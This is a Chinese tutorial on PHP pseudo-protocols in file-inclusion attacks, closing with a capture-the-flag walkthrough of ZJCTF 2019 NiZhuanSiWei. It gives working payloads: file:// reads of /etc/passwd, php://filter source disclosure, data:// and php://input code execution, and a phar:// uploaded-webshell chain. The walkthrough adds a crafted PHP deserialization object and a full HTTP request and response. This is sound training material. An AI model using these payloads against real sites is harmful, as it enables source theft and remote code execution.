伪协议php(总结和缝合)

分类:

1
2
3
4
5
6
7
8
9
10
11
12
php:// — 访问各个输入/输出流(I/O streams)
file:// — 访问本地文件系统
phar:// — PHP 归档
zlib:// — 压缩流
data:// — 数据(RFC 2397)
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
glob:// — 查找匹配的文件路径模式
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

PHP.ini(配置文件)
在php.ini里有两个重要的参数allow_url_fopen和allow_url_include

allow_url_fopen:默认值是ON,允许url里的封装协议访问文件

allow_url_include:默认值是OFF,不允许包含url里的封装协议包含文件

file:

用于访问本地文件,不受allow_url_fopen,file://还经常和curl函数(SSRF)结合在一起,受allow_url_include影响

file://主要用于访问文件(绝对路径和网络路径)

比如:

url?file=file:///etc/password

php://:

在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用

php://作用为访问输出和输入

php://filter

经常使用的伪协议,一般用于任意文件读取,有时也可以用于getshell.在双OFF的情况下也可以使用.

php://filter是一种元封装器,用于数据流打开时筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用。类似readfile()、file()、file_get_contents(),在数据流读取之前没有机会使用其他过滤器。

读取源代码并进行编码然后输出

比如:

url?cmd=php://filter/read=convert.base64-encode/resource=文件名(php文件需要用base64编码)

1
php://filter/convert.base64-[encode/decode]/resource=xxx

这是使用的过滤器是convert.base64-encode.它的作用就是读取文件的内容进行base64编码后输出。可以用于读取程序源代码经过base64编码后的数据
说明:

resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流

read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。

write=<写链的筛选列表>该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。

<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

1
php://filter/[read/write]=string.[rot13/strip_tags/…..]/resource=xxx

filter和string过滤器连用可以对字符串进行过滤。filter的read和write参数有不同的应用场景。read用于include()和file_get_contents(),write用于file_put_contents()中
php://input

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。

需要开启allow_url_include

执行post数据中的代码:

比如:

url?cmd=php://input

post数据:

注意:

当enctype=”multipart/form-data”的时候,php://input是无效的

data://

当php>=5.2.0,可以使用data://,来传递相应格式的数据。通常用来执行php代码。一般用base64编码传输,需满足allow_url_fopenallow_url_include同时开启才能使用

比如:

通过data://text/plain协议来进行漏洞利用

data://text/plain;base64,base编码字符串

很常用的数据流构造器,将读取后面base编码字符串后解码的数据作为数据流的输入

1
2
3
4
file.php?file=data://text/plain,<?php phpinfo()?>
file.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
file.php?file=data:text/plain,<?php phpinfo()?>
file.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

phar://

PHP 归档,常常跟文件包含,文件上传结合着考察。说通俗点就是php解压缩包的一个函数,解压的压缩包与后缀无关。

1
phar://test.[zip/jpg/png…]/file.txt

其实可以将任意后缀名的文件(必须要有后缀名),只要是zip格式压缩的,都可以进行解压,因此上面可以改为phar://test.test/file.txt也可以运行。
当文件上传仅仅校验mime类型与文件后缀,可以通过以下命令进行利用

1
nac.php(木马)->压缩->nac.zip->改后缀->nac.jpg->上传->phar://nac.jpg/nac.php

zip://,bzip2://, zlib://

在双OFF的时候也可以用,

1
zip://test.zip%23file.txt

和phar://一样用于读取压缩文件,不过对于”zip://test.zip#file.txt”中的”#”要编码为”%23”.因为url的#后的内容不会被传送
zip://:

1
2
file.php?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]
file.php?file=zip://nac.jpg#nac.php 其中get请求中#需要进行编码,即%23

bzip2://:

1
2
3
file.php?file=compress.bzip2://nac.bz2
file.php?file=compress.bzip2://./nac.jpg
file.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg

zlib://:

1
2
3
file.php?file=compress.zlib://file.gz
file.php?file=compress.zlib://./nac.jpg
file.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg

例子:

[ZJCTF 2019]NiZhuanSiWei

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

代码让我们get传参text,file,password
经过观察可以确定text要传入一个文件,且文件内容为:welcome to the zjctf,file传入一个文件名。然后通过include($file)包含,password暂且不知

伪协议第一次利用:

1
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

这里需要我们传入一个文件且其内容为welcome to the zjctf,才可以进入判断进行下一步
由于:在官方手册中file_get_contents()是用来将文件的内容读入到一个字符串中的首选方法

官方实例:

1
2
echo file_get_contents('http://www.xxx.com/aa.png', 'r');
// 将会在该页面中输出图片

可以发现,file_get_contents的$filename参数不仅仅可以是本地文件路径,也可以是一个网络路径即url,所以我们可以考虑使用伪协议

  • 姿势一:data://协议利用
    1
    2
    text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
    // d2VsY29tZSB0byB0aGUgempjdGY= 解码后为 -----> welcome to the zjctf
  • 姿势二:php://协议利用
    php://input
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
url:http://a7425027-7eb1-43be-a0c9-47a34018d60b.node3.buuoj.cn/?text=php://input
POST数据:welcome to the zjctf



POST请求包:
POST /?text=php://input HTTP/1.1
Host: a7425027-7eb1-43be-a0c9-47a34018d60b.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
Origin: http://a7425027-7eb1-43be-a0c9-47a34018d60b.node3.buuoj.cn
Connection: close
Referer: http://a7425027-7eb1-43be-a0c9-47a34018d60b.node3.buuoj.cn/
Upgrade-Insecure-Requests: 1

welcome to the zjctf





回包:
HTTP/1.1 200 OK
Server: openresty
Date: Sat, 08 Feb 2020 11:45:53 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 38
Connection: close
X-Powered-By: PHP/5.6.40

<br><h1>welcome to the zjctf</h1></br>

伪协议第二次利用:

1
2
3
4
5
6
7
8
9
$file = $_GET["file"];
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}

这里把flag给过滤了,肯定不是直接包含
注释里有一个useless.php,打开看下,但直接访问是不能打开的,尝试用伪协议php://filter

?file=php://filter/read=convert.base64-encode/resource=useless.php

这里顺便把前面的第一个判断用data协议绕过,进入判断语句中

所以payload:

1
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

能得到useless.php的base64编码内容
解码后得到

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

这一段代码的意思是:获取这个$file参数代表的文件并且输出出来,注意前者的file参数和这里flag类的file参数并不一样,两者位于不同的作用域!
根据注释提示我们应该是要包含flag.php就可以获得flag,所以Flag类中的file应该为flag.php,再加上前面如果包含了useless.php,整体代码就为如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

$password = unserialize($password);中,unserialize()函数是一个反序列化函数。不熟悉序列化与反序列化的可以百度一下。
若我们将一个序列化后的对象即一串字符串传给$password,那么我们会得到一个实例对象,我们便不难想象,若是我们将一个useless.php中的Flag对象(其中$file参数的值为flag.php)序列化后得到的字符串传给$password参数,经过反序列化后变变成了一个实例对象,一句可执行的代码,且能输出flag.php中的代码

构造类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php  
class Flag{
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$password = new Flag();
echo serialize($password);
?>

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

所以payload

1
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

到这里整理下思路:

  • 首先,利用data伪协议,text参数便可以绕过if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")),顺利进入判断语句内
  • 然后,包含了useless.php文件,从而在原代码中引入了Flag对象,只有如此,在password参数反序列化才可输出flag.php文件的内容
  • 传入的password参数经过反序列化后,得到一个$file=flag.php的Flag对象,同时执行了该Flag对象内部的__tostring()方法,输出flag.php的内容,从而得到flag
    注意:需要查看网页源代码方可见到flag
    文件包含是否支持%00截断取决于:
1
PHP版本<=5.2 可以使用%00进行截断。

参考文章:

php伪协议实现命令执行的七种姿势

CTF中常用的php伪协议利用

浅析PHP伪协议在CTF的应用

PHP伪协议在CTF中的应用